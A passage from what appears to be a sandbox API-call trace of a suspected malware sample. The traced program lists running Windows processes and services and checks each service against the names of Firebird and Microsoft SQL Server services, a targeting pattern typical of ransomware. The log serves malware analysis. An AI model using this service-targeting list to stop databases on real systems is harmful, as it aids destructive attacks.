pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0287.555] lstrlenW (lpString="dwm.exe") returned 7 [0287.555] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.556] lstrlenW (lpString="svchost.exe") returned 11 [0287.556] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.557] lstrlenW (lpString="svchost.exe") returned 11 [0287.557] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.557] lstrlenW (lpString="svchost.exe") returned 11 [0287.557] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.558] lstrlenW (lpString="svchost.exe") returned 11 [0287.558] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.559] lstrlenW (lpString="svchost.exe") returned 11 [0287.559] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.559] lstrlenW (lpString="svchost.exe") returned 11 [0287.560] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.560] lstrlenW (lpString="svchost.exe") returned 11 [0287.560] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.561] lstrlenW (lpString="svchost.exe") returned 11 [0287.561] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.562] lstrlenW (lpString="svchost.exe") returned 11 [0287.562] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.562] lstrlenW (lpString="svchost.exe") returned 11 [0287.562] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0287.563] lstrlenW (lpString="spoolsv.exe") returned 11 [0287.563] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0287.564] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0287.564] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0287.564] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0287.564] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0287.565] lstrlenW (lpString="Memory Compression") returned 18 [0287.565] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.566] lstrlenW (lpString="svchost.exe") returned 11 [0287.566] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0287.566] lstrlenW (lpString="audiodg.exe") returned 11 [0287.567] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0288.170] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0288.170] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0288.171] lstrlenW (lpString="sihost.exe") returned 10 [0288.171] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.172] lstrlenW (lpString="svchost.exe") returned 11 [0288.172] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0288.173] lstrlenW (lpString="taskhostw.exe") returned 13 [0288.173] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0288.174] lstrlenW (lpString="msoia.exe") returned 9 [0288.174] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0288.175] lstrlenW (lpString="explorer.exe") returned 12 [0288.175] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0288.176] lstrlenW (lpString="SearchUI.exe") returned 12 [0288.176] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0288.178] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0288.178] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0288.183] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0288.183] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0288.184] lstrlenW (lpString="1csrss.exe") returned 10 [0288.184] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.185] lstrlenW (lpString="svchost.exe") returned 11 [0288.185] Process32NextW (in: hSnapshot=0x418, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0288.185] CloseHandle (hObject=0x418) returned 1 [0288.185] Sleep (dwMilliseconds=0x1f4) [0288.692] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddf20 [0288.693] EnumServicesStatusExW (in: hSCManager=0x7ddf20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0288.693] GetLastError () returned 0xea [0288.693] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x466fff8 [0288.693] EnumServicesStatusExW (in: hSCManager=0x7ddf20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x466fff8, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x466fff8, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0288.694] CloseServiceHandle (hSCObject=0x7ddf20) returned 1 [0288.694] lstrlenW (lpString="AppXSvc") returned 7 [0288.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0288.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0288.694] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0288.694] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0288.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0288.694] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0288.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0288.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0288.694] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0288.694] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0288.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0288.694] lstrlenW (lpString="Audiosrv") returned 8 [0288.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0288.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0288.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0288.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0288.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0288.695] lstrlenW (lpString="BFE") returned 3 [0288.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0288.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0288.695] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0288.695] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0288.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0288.695] lstrlenW (lpString="BITS") returned 4 [0288.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0288.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0288.695] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0288.695] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0288.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0288.695] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0288.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0288.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0288.695] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0288.695] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0288.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0288.695] lstrlenW (lpString="CDPSvc") returned 6 [0288.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0288.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0288.695] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0288.695] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0288.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0288.695] lstrlenW (lpString="ClickToRunSvc") returned 13 [0288.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0288.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0288.695] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0288.695] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0288.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0288.695] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0288.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0288.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0288.696] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0288.696] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0288.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0288.696] lstrlenW (lpString="CryptSvc") returned 8 [0288.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0288.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0288.696] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0288.696] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0288.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0288.696] lstrlenW (lpString="DcomLaunch") returned 10 [0288.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0288.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0288.696] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0288.696] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0288.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0288.696] lstrlenW (lpString="DeviceAssociationService") returned 24 [0288.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0288.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0288.696] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0288.696] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0288.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0288.696] lstrlenW (lpString="Dhcp") returned 4 [0288.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0288.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0288.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0288.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0288.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0288.696] lstrlenW (lpString="Dnscache") returned 8 [0288.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0288.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0288.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0288.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0288.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0288.697] lstrlenW (lpString="DoSvc") returned 5 [0288.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0288.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0288.697] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0288.697] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0288.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0288.697] lstrlenW (lpString="DPS") returned 3 [0288.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0288.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0288.697] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0288.697] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0288.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0288.697] lstrlenW (lpString="DusmSvc") returned 7 [0288.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0288.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0288.697] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0288.697] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0288.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0288.697] lstrlenW (lpString="EventLog") returned 8 [0288.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0288.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0288.697] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0288.697] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0288.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0288.697] lstrlenW (lpString="EventSystem") returned 11 [0288.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0288.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0288.697] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0288.697] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0288.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0288.697] lstrlenW (lpString="FontCache") returned 9 [0288.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0288.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0288.698] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0288.698] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0288.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0288.698] lstrlenW (lpString="gpsvc") returned 5 [0288.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0288.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0288.698] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0288.698] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0288.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0288.698] lstrlenW (lpString="iphlpsvc") returned 8 [0288.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0288.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0288.698] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0288.698] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0288.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0288.698] lstrlenW (lpString="KeyIso") returned 6 [0288.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0288.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0288.698] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0288.698] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0288.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0288.698] lstrlenW (lpString="LanmanServer") returned 12 [0288.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0288.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0288.698] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0288.698] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0288.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0288.698] lstrlenW (lpString="LanmanWorkstation") returned 17 [0288.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0288.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0288.698] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0288.698] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0288.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0288.698] lstrlenW (lpString="lfsvc") returned 5 [0288.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0288.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0288.699] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0288.699] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0288.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0288.699] lstrlenW (lpString="lmhosts") returned 7 [0288.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0288.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0288.699] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0288.699] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0288.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0288.699] lstrlenW (lpString="LSM") returned 3 [0288.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0288.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0288.699] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0288.699] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0288.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0288.699] lstrlenW (lpString="MpsSvc") returned 6 [0288.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0288.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0288.699] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0288.699] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0288.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0288.699] lstrlenW (lpString="NcbService") returned 10 [0288.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0288.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0288.699] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0288.699] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0288.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0288.699] lstrlenW (lpString="netprofm") returned 8 [0288.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0288.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0288.699] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0288.700] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0288.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0288.700] 